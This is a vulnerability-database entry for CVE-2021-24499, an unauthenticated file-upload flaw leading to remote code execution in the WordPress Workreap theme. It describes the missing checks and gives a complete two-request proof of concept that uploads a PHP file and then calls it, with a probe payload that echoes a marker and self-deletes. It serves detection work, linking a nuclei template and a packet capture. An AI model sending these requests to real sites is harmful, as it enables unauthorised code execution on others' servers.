🔙 목록으로 돌아가기

CVE-2021-24499: WordPress Workreap - Remote Code Execution

TitleWordPress Workreap - Remote Code Execution
Authordaffainfo
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected WordPress site.
RemediationUpdate to the latest version of the Workreap plugin to fix the vulnerability.
CVSS Score9.8
EPSS Score0.93938
CVE IDCVE-2021-24499
CWE IDCWE-434
Tags cve cve2021 wpscan packetstorm rce workreap wordpress wp-plugin intrusive wp amentotech vkev vuln

🔍 Vulnerability Description

WordPress Workreap theme is susceptible to remote code execution. The AJAX actions workreap_award_temp_file_uploader and workreap_temp_file_uploader did not perform nonce checks, or validate that the request is from a valid user in any other way. The endpoints allowed for uploading arbitrary files to the uploads/workreap-temp directory. Uploaded files were neither sanitized nor validated, allowing an unauthenticated visitor to upload executable code such as php scripts.

🌐 HTTP Request

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/13.0
Connection: close
Content-Length: 416
Content-Type: multipart/form-data; boundary=------------------------cd0dc6bdc00b1cf9
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

-----------------------------cd0dc6bdc00b1cf9

Content-Disposition: form-data; name="action"



workreap_award_temp_file_uploader

-----------------------------cd0dc6bdc00b1cf9

Content-Disposition: form-data; name="award_img"; filename="38FHCXA2eCGaBXgu5R2DRfnnJUG.php"

Content-Type: application/x-httpd-php



<?php echo md5("CVE-2021-24499");unlink(__FILE__);?>

-----------------------------cd0dc6bdc00b1cf9--
GET /wp-content/uploads/workreap-temp/38FHCXA2eCGaBXgu5R2DRfnnJUG.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (watchTowr; Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24499.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-24499.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A